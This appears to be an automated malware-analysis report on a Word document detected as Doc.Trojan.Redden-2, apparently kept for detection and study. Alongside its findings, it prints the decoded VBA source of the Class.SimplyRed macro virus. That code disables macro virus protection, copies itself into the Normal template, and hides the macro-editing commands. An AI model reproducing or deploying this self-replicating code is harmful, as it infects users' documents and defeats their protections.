MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious Office documents. The macro attempts to copy itself to the Normal template and create a module named 'ANTISimplyRed', suggesting an attempt to establish persistence or evade detection. The ClamAV detection 'Doc.Trojan.Redden-2' further confirms its malicious nature.
Heuristics 3
-
ClamAV: Doc.Trojan.Redden-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Redden-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5312 bytes |
SHA-256: 374c1578920e3220f270406582bb070c3e64f79adc723da2eba10a065e4feab1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub CommandButton1_Click()
End Sub
Private Sub Document_Close()
' ^ | | ----- |
' / \ | \ | | |
' /---\ | \| | |
' / \ | | | |
'
' <` . | |> |
' -' | <'> |> | <.| |\ <- <|
' ' '
' Class.SimplyRed by N|(0†|N (c) 1999
'
'
On Error GoTo Phuck
Options.VirusProtection = False
Options.SaveNormalPrompt = False
If ThisDocument.FullName = NormalTemplate.FullName Then
Set dest = ActiveDocument.VBProject.VBComponents("ThisDocument")
Set sour = NormalTemplate.VBProject.VBComponents("ThisDocument")
Else
Set sour = ThisDocument.VBProject.VBComponents("ThisDocument")
Set dest = NormalTemplate.VBProject.VBComponents("ThisDocument")
End If
cou = dest.CodeModule.countoflines
If cou > 0 Then
For j = 1 To cou
dest.CodeModule.DeleteLines (1)
Next j
End If
lin = sour.CodeModule.Lines(1, sour.CodeModule.countoflines)
dest.CodeModule.AddFromString (lin)
already = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
aprj = NormalTemplate.VBProject.VBComponents(i).Name
If aprj = "ANTISimplyRed" Then already = True
Next i
If Not already Then
NormalTemplate.VBProject.VBComponents.Add (vbext_ct_StdModule)
NormalTemplate.VBProject.VBComponents(NormalTemplate.VBProject.VBComponents.Count).Name = "ANTISimplyRed"
Set nor = NormalTemplate.VBProject.VBComponents("ANTISimplyRed").CodeModule
eol = Chr(13) + Chr(10)
'
nor.AddFromString ("Sub ToolsMacro" + eol + "End Sub")
nor.AddFromString ("Sub Organizer" + eol + "End Sub")
nor.AddFromString ("Sub ViewVBCode" + eol + "End Sub")
nor.AddFromString ("Sub FileTemplates" + eol + "End Sub")
'
End If
Phuck:
End Sub
Private Sub Document_New()
' ^ | | ----- |
' / \ | \ | | |
' /---\ | \| | |
' / \ | | | |
'
' <` . | |> |
' -' | <'> |> | <.| |\ <- <|
' ' '
' Class.SimplyRed by N|(0†|N (c) 1999
'
On Error GoTo Phuck
Options.VirusProtection = False
Options.SaveNormalPrompt = False
If ThisDocument.FullName = NormalTemplate.FullName Then
Set dest = ActiveDocument.VBProject.VBComponents("ThisDocument")
Set sour = NormalTemplate.VBProject.VBComponents("ThisDocument")
Else
Set sour = ThisDocument.VBProject.VBComponents("ThisDocument")
Set dest = NormalTemplate.VBProject.VBComponents("ThisDocument")
End If
cou = dest.CodeModule.countoflines
If cou > 0 Then
For j = 1 To cou
dest.CodeModule.DeleteLines (1)
Next j
End If
lin = sour.CodeModule.Lines(1, sour.CodeModule.countoflines)
dest.CodeModule.AddFromString (lin)
already = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
aprj = NormalTemplate.VBProject.VBComponents(i).Name
If aprj = "ANTISimplyRed" Then already = True
Next i
If Not already Then
NormalTemplate.VBProject.VBComponents.Add (vbext_ct_StdModule)
NormalTemplate.VBProject.VBComponents(NormalTemplate.VBProject.VBComponents.Count).Name = "ANTISimplyRed"
Set nor = NormalTemplate.VBProject.VBComponents("ANTISimplyRed").CodeModule
eol = Chr(13) + Chr(10)
'
nor.AddFromString ("Sub ToolsMacro" + eol + "End Sub")
nor.AddFromString ("Sub Organizer" + eol + "End Sub")
nor.AddFromString ("Sub ViewVBCode" + eol + "End Sub")
nor.AddFromString ("Sub FileTemplates" + eol + "End Sub")
'
End If
Phuck:
End Sub
Private Sub Document_Open()
' ^ | | ----- |
' / \ | \ | | |
' /---\ | \| | |
' / \ | | | |
'
' <` . | |> |
' -' | <'> |> | <.| |\ <- <|
' ' '
' Class.SimplyRed by N|(0†|N (c) 1999
'
On Error GoTo Phuck
Options.VirusProtection = False
Options.SaveNormalPrompt = False
If ThisDocument.FullName = NormalTemplate.FullName Then
Set dest = ActiveDocument.V
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.